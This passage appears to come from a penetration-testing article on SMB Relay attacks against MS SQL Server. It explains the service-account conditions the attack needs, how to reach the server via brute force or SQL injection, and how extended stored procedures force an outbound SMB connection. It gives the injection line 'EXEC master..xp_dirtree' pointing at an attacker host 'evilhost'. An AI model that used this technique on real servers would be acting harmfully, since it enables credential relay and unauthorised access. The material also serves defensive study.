Today we will talk about practical implementation of SMBRelay attack through one of the famous software which very often becomes a part of ERP systems. This is MS SQL server. The last version is 2008 (R2), but we can see 2005 and 2000 in real life too, because they take up big part of RDBMS application area. We will touch all of them.
But now look at another side of our deal. One of the main things of the successful SMB Relay realization is under which account running MS SQL server. It should be a domain or a local user account, not system’s account like ‘System’ or ‘Local Service’. SQL Server 2000 runs as ‘System’ and SQL Server 2005/2008 runs as ‘Network Service’ by default. This is not good for penetration testers. But our experience of penetration tests is showing that the situations “is not by default” there are very often. Because there are some objectives reasons likes MS SQL server’s limitations when you run it on clustered or domain server, or when you run multiple sql servers on your organization using domain user like DOMAIN\sqlservers for better administration. But this is spread practice to run SQL server under a user account. For more information http://msdn.microsoft.com/en-gb/library/ms143504.aspx
Get access on MS SQL Server.
There are two main ways to interact with MS SQL server. The first is the direct connect to RDBSM via 1433 port when you have good credentials (brutforce/dictionary and other attacks will help you :) The second is an interaction thought another software, a web application for example. There are we should find a SQL injection. A casual or a blind is not important for our purposes. I think this is not a big problem :)
For successful SMB Relay attack realization we should enforce MS SQL Server to initiate SMB session on attacker server via UNC path request (\\any.server\any\path). We have some different methods for completing the necessary.
The one of much distributed and useful method is using extended stored procedures.
An extended stored procedure (“xp”) is a dynamic link library that runs directly in the address space of SQL Server. It contains many extended stored procedures for extending SQL Server’s capabilities.
There are three extended procedures available for public access – xp_dirtree, xp_fileexist, xp_getfiledetails. We can use one of them depending on a current situation, because not all they exist in different SQL Server versions or enabled for users or other limitations. We should have “Execute” permission for applying extended stored procedures. Such permissions are granted to ‘public’ role by default. Details you can see in Table 1.
Syntaxes of the extended procedures are one for all:
EXEC master..xp_dirtree ‘\\evilhost\test’
|Extended stored procedure||SQL 2000||SQL 2005||SQL 2008 R2|
|xp_getfiledetails||Public||not exist||not exist|